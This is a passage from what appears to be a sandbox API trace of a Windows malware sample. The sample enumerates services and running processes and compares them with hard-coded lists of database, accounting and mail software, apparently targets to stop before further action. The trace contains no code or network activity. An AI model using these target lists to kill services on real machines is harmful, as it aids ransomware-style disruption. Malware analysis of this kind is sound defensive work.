(lpString="ShellHWDetection") returned 16 [0212.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0212.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0212.334] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0212.334] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0212.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0212.334] lstrlenW (lpString="Spooler") returned 7 [0212.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0212.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0212.334] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0212.334] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0212.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0212.335] lstrlenW (lpString="sppsvc") returned 6 [0212.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0212.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0212.335] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0212.335] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0212.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0212.335] lstrlenW (lpString="SysMain") returned 7 [0212.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0212.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0212.335] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0212.335] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0212.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0212.335] lstrlenW (lpString="Themes") returned 6 [0212.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0212.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0212.335] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0212.335] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0212.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0212.335] lstrlenW (lpString="TrkWks") returned 6 [0212.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0212.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0212.335] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0212.335] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0212.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0212.335] lstrlenW (lpString="UxSms") returned 5 [0212.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0212.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0212.335] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0212.335] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0212.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0212.335] lstrlenW (lpString="VSS") returned 3 [0212.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0212.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0212.335] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0212.335] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0212.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0212.335] lstrlenW (lpString="WdiServiceHost") returned 14 [0212.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0212.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0212.335] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0212.335] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0212.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0212.335] lstrlenW (lpString="WdiSystemHost") returned 13 [0212.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0212.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0212.335] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0212.335] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0212.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0212.336] lstrlenW (lpString="WinDefend") returned 9 [0212.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0212.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0212.336] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0212.336] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0212.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0212.336] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0212.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0212.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0212.336] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0212.336] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0212.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0212.336] lstrlenW (lpString="Winmgmt") returned 7 [0212.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0212.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0212.336] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0212.336] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0212.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0212.336] lstrlenW (lpString="wscsvc") returned 6 [0212.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0212.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0212.336] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0212.336] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0212.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0212.336] lstrlenW (lpString="wuauserv") returned 8 [0212.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0212.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0212.336] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0212.336] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0212.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0212.336] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e4 [0212.346] Process32FirstW (in: hSnapshot=0x1e4, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0212.347] Process32NextW (in: hSnapshot=0x1e4, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0212.347] lstrlenW (lpString="System") returned 6 [0212.347] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0212.347] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0212.347] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0212.347] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0212.347] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0212.347] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0212.347] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0212.347] Process32NextW (in: hSnapshot=0x1e4, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0212.348] lstrlenW (lpString="smss.exe") returned 8 [0212.348] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0212.348] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0212.348] Process32NextW (in: hSnapshot=0x1e4, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0212.349] lstrlenW (lpString="csrss.exe") returned 9 [0212.349] Process32NextW (in: hSnapshot=0x1e4, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0212.349] lstrlenW (lpString="wininit.exe") returned 11 [0212.349] Process32NextW (in: hSnapshot=0x1e4, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0212.350] lstrlenW (lpString="csrss.exe") returned 9 [0212.350] Process32NextW (in: hSnapshot=0x1e4, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0212.351] lstrlenW (lpString="winlogon.exe") returned 12 [0212.351] Process32NextW (in: hSnapshot=0x1e4, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0212.351] lstrlenW (lpString="services.exe") returned 12 [0212.351] Process32NextW (in: hSnapshot=0x1e4, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0212.352] lstrlenW (lpString="lsass.exe") returned 9 [0212.352] Process32NextW (in: hSnapshot=0x1e4, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0212.352] lstrlenW (lpString="lsm.exe") returned 7 [0212.353] Process32NextW (in: hSnapshot=0x1e4, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.353] lstrlenW (lpString="svchost.exe") returned 11 [0212.353] Process32NextW (in: hSnapshot=0x1e4, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.354] lstrlenW (lpString="svchost.exe") returned 11 [0212.354] Process32NextW (in: hSnapshot=0x1e4, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.354] lstrlenW (lpString="svchost.exe") returned 11 [0212.354] Process32NextW (in: hSnapshot=0x1e4, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.355] lstrlenW (lpString="svchost.exe") returned 11 [0212.355] Process32NextW (in: hSnapshot=0x1e4, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.355] lstrlenW (lpString="svchost.exe") returned 11 [0212.355] Process32NextW (in: hSnapshot=0x1e4, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0212.367] lstrlenW (lpString="audiodg.exe") returned 11 [0212.367] Process32NextW (in: hSnapshot=0x1e4, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.367] lstrlenW (lpString="svchost.exe") returned 11 [0212.367] Process32NextW (in: hSnapshot=0x1e4, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.368] lstrlenW (lpString="svchost.exe") returned 11 [0212.368] Process32NextW (in: hSnapshot=0x1e4, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0212.369] lstrlenW (lpString="dwm.exe") returned 7 [0212.369] Process32NextW (in: hSnapshot=0x1e4, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x44c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0212.369] lstrlenW (lpString="explorer.exe") returned 12 [0212.369] Process32NextW (in: hSnapshot=0x1e4, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0212.370] lstrlenW (lpString="spoolsv.exe") returned 11 [0212.370] Process32NextW (in: hSnapshot=0x1e4, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0212.371] lstrlenW (lpString="taskhost.exe") returned 12 [0212.371] Process32NextW (in: hSnapshot=0x1e4, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.371] lstrlenW (lpString="svchost.exe") returned 11 [0212.371] Process32NextW (in: hSnapshot=0x1e4, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x610, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x350, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0212.372] lstrlenW (lpString="taskeng.exe") returned 11 [0212.372] Process32NextW (in: hSnapshot=0x1e4, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="innovative sapphire.exe")) returned 1 [0212.373] lstrlenW (lpString="innovative sapphire.exe") returned 23 [0212.373] Process32NextW (in: hSnapshot=0x1e4, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="nova.exe")) returned 1 [0212.373] lstrlenW (lpString="nova.exe") returned 8 [0212.373] Process32NextW (in: hSnapshot=0x1e4, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="attitude discussions wives.exe")) returned 1 [0212.376] lstrlenW (lpString="attitude discussions wives.exe") returned 30 [0212.377] Process32NextW (in: hSnapshot=0x1e4, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="demonstrate term dressing.exe")) returned 1 [0212.377] lstrlenW (lpString="demonstrate term dressing.exe") returned 29 [0212.377] Process32NextW (in: hSnapshot=0x1e4, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="picks blair.exe")) returned 1 [0212.378] lstrlenW (lpString="picks blair.exe") returned 15 [0212.378] Process32NextW (in: hSnapshot=0x1e4, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="posted_boating_anthony.exe")) returned 1 [0212.378] lstrlenW (lpString="posted_boating_anthony.exe") returned 26 [0212.378] Process32NextW (in: hSnapshot=0x1e4, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="principal.exe")) returned 1 [0212.379] lstrlenW (lpString="principal.exe") returned 13 [0212.379] Process32NextW (in: hSnapshot=0x1e4, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="transportation.exe")) returned 1 [0212.380] lstrlenW (lpString="transportation.exe") returned 18 [0212.380] Process32NextW (in: hSnapshot=0x1e4, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bind-representation-scared.exe")) returned 1 [0212.380] lstrlenW (lpString="bind-representation-scared.exe") returned 30 [0212.380] Process32NextW (in: hSnapshot=0x1e4, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="supplements-reynolds.exe")) returned 1 [0212.381] lstrlenW (lpString="supplements-reynolds.exe") returned 24 [0212.381] Process32NextW (in: hSnapshot=0x1e4, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="planned.exe")) returned 1 [0212.381] lstrlenW (lpString="planned.exe") returned 11 [0212.381] Process32NextW (in: hSnapshot=0x1e4, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="springer andrew.exe")) returned 1 [0212.382] lstrlenW (lpString="springer andrew.exe") returned 19 [0212.382] Process32NextW (in: hSnapshot=0x1e4, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="cakes import.exe")) returned 1 [0212.383] lstrlenW (lpString="cakes import.exe") returned 16 [0212.383] Process32NextW (in: hSnapshot=0x1e4, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="theory.exe")) returned 1 [0212.383] lstrlenW (lpString="theory.exe") returned 10 [0212.384] Process32NextW (in: hSnapshot=0x1e4, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="linuxsouthantiques.exe")) returned 1 [0212.384] lstrlenW (lpString="linuxsouthantiques.exe") returned 22 [0212.384] Process32NextW (in: hSnapshot=0x1e4, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="saturn acknowledge rover.exe")) returned 1 [0212.385] lstrlenW (lpString="saturn acknowledge rover.exe") returned 28 [0212.385] Process32NextW (in: hSnapshot=0x1e4, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="tuition-flour-challenges.exe")) returned 1 [0212.386] lstrlenW (lpString="tuition-flour-challenges.exe") returned 28 [0212.386] Process32NextW (in: hSnapshot=0x1e4, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="raises_softball_tramadol.exe")) returned 1 [0212.386] lstrlenW (lpString="raises_softball_tramadol.exe") returned 28 [0212.386] Process32NextW (in: hSnapshot=0x1e4, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x624, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="indicescancellation.exe")) returned 1 [0212.387] lstrlenW (lpString="indicescancellation.exe") returned 23 [0212.387] Process32NextW (in: hSnapshot=0x1e4, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="keeping-guys-essence.exe")) returned 1 [0212.388] lstrlenW (lpString="keeping-guys-essence.exe") returned 24 [0212.388] Process32NextW (in: hSnapshot=0x1e4, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="desk.exe")) returned 1 [0212.388] lstrlenW (lpString="desk.exe") returned 8 [0212.388] Process32NextW (in: hSnapshot=0x1e4, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.389] lstrlenW (lpString="svchost.exe") returned 11 [0212.389] Process32NextW (in: hSnapshot=0x1e4, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0212.389] lstrlenW (lpString="sppsvc.exe") returned 10 [0212.390] Process32NextW (in: hSnapshot=0x1e4, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.390] lstrlenW (lpString="svchost.exe") returned 11 [0212.390] Process32NextW (in: hSnapshot=0x1e4, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0212.391] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0212.391] Process32NextW (in: hSnapshot=0x1e4, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 